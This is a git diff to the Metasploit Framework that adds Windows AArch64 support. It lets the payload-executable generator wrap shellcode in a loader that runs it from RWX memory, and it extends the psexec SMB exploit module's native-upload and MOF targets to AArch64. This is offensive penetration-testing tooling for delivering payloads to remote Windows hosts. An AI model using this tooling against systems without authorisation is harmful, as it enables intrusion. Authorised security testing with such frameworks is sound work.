diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb
index 17e5e65617594..f5adaa28f700e 100644
--- a/lib/msf/core/exploit/exe.rb
+++ b/lib/msf/core/exploit/exe.rb
@@ -98,7 +98,9 @@ def generate_payload_exe_service(opts = {})
     #Ensure opts[:arch] is an array
     opts[:arch] = [opts[:arch]] unless opts[:arch].kind_of? Array
 
-    if opts[:arch] && opts[:arch].index(ARCH_X64)
+    if opts[:arch] && opts[:arch].index(ARCH_AARCH64)
+      exe = Msf::Util::EXE.to_winaarch64pe(framework, pl, opts)
+    elsif opts[:arch] && opts[:arch].index(ARCH_X64)
       exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts)
     else
       exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts)
diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index 1e3f2ce930383..269a793cfdd71 100644
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -144,6 +144,11 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
           to_win32pe_service(framework, code, exeopts)
         when ARCH_X64
           to_win64pe_service(framework, code, exeopts)
+        when ARCH_AARCH64
+          # No dedicated AArch64 service template exists yet; the loader
+          # template still runs when dropped as a "service" binary (the SCM
+          # start request just times out, as with any non-service exe).
+          to_winaarch64pe(framework, code, exeopts)
         end
       when 'exe-small'
         case arch
@@ -151,6 +156,8 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
           to_win32pe_old(framework, code, exeopts)
         when ARCH_X64
           to_win64pe(framework, code, exeopts)
+        when ARCH_AARCH64
+          to_winaarch64pe(framework, code, exeopts)
         end
       when 'exe-only'
         case arch
@@ -165,6 +172,8 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
           exe = to_win32pe(framework, code, exeopts)
         when ARCH_X64
           exe = to_win64pe(framework, code, exeopts)
+        when ARCH_AARCH64
+          exe = to_winaarch64pe(framework, code, exeopts)
         end
         exeopts[:uac] = true
         Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
@@ -174,6 +183,8 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
           exe = to_win32pe(framework, code, exeopts)
         when ARCH_X64
           exe = to_win64pe(framework, code, exeopts)
+        when ARCH_AARCH64
+          exe = to_winaarch64pe(framework, code, exeopts)
         end
         Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
       when 'elf'
diff --git a/lib/msf/util/exe/windows/aarch64.rb b/lib/msf/util/exe/windows/aarch64.rb
index 297222df890bc..c7240408bab96 100644
--- a/lib/msf/util/exe/windows/aarch64.rb
+++ b/lib/msf/util/exe/windows/aarch64.rb
@@ -8,7 +8,20 @@ def self.included(base)
   end
 
   module ClassMethods
+    # The size, in bytes, of the fixed `payload[]` buffer declared in
+    # data/templates/src/pe/exe/template_aarch64_windows.c (SCSIZE). Shellcode
+    # longer than this would overwrite adjacent bytes in the compiled template.
+    WINAARCH64_PAYLOAD_SPACE = 8192
+
     # Construct a Windows AArch64 PE executable with the given shellcode.
+    #
+    # Unlike the x86/x64 templates, there is currently no dedicated "service"
+    # or "dll" AArch64 template, so this loader-style template (which copies
+    # the payload into RWX memory and runs it in a new thread) is reused
+    # wherever an AArch64 PE is requested, including when a caller asked for
+    # an exe-service. That is safe for psexec-style delivery: Windows still
+    # spawns the process when the SCM start request times out because the
+    # binary doesn't speak the service control protocol.
     # to_winaarch64pe
     #
     # @param framework [Msf::Framework] The Metasploit framework instance.
@@ -26,6 +39,12 @@ def to_winaarch64pe(framework, code, opts = {})
 
       # Find the tag and inject the payload
       bo = find_payload_tag(pe, 'Invalid Windows AArch64 template: missing "PAYLOAD:" tag')
+
+      if code.length > WINAARCH64_PAYLOAD_SPACE
+        raise RuntimeError, "The Windows AArch64 EXE generator has a max size of " \
+                             "#{WINAARCH64_PAYLOAD_SPACE} bytes, please fix the calling module"
+      end
+
       pe[bo, code.length] = code.dup
       pe
     end
diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb
index fa1f5aeff76d0..20a810452ded4 100644
--- a/modules/exploits/windows/smb/psexec.rb
+++ b/modules/exploits/windows/smb/psexec.rb
@@ -66,13 +66,16 @@ def initialize(info = {})
         },
         'Platform' => 'win',
         'Targets' => [
-          [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
+          # PowerShell isn't offered for AArch64: the PowerShell shellcode-injection
+          # wrapper (rex-powershell) only knows how to spawn x86/x64 powershell.exe,
+          # so it can't be used to run AArch64 shellcode.
+          [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64] } ],
           [ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
           [ 'Native upload', { # upload a service executable
-            'Arch' => [ARCH_X86, ARCH_X64],
+            'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64],
             'Payload' => { 'Space' => 2 ** 30 } # service executables place the payload within a segment, 1GiB is a practical max in many cases
           } ],
-          [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
+          [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64] } ],
           [ 'Command', { 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 8191 } } ]
         ],
         'DefaultTarget' => 0,
@@ -145,7 +148,12 @@ def exploit
 
     case target.name
     when 'Automatic'
-      if powershell_installed?(smbshare, datastore['PSH_PATH'])
+      # The PowerShell delivery path can only launch x86/x64 powershell.exe, so
+      # an AArch64 payload has to go straight to the native upload technique.
+      if payload_instance.arch.include?(ARCH_AARCH64)
+        print_status('Selecting native target')
+        native_upload_with_workaround(smbshare)
+      elsif powershell_installed?(smbshare, datastore['PSH_PATH'])
         print_status('Selecting PowerShell target')
         execute_powershell_payload
       else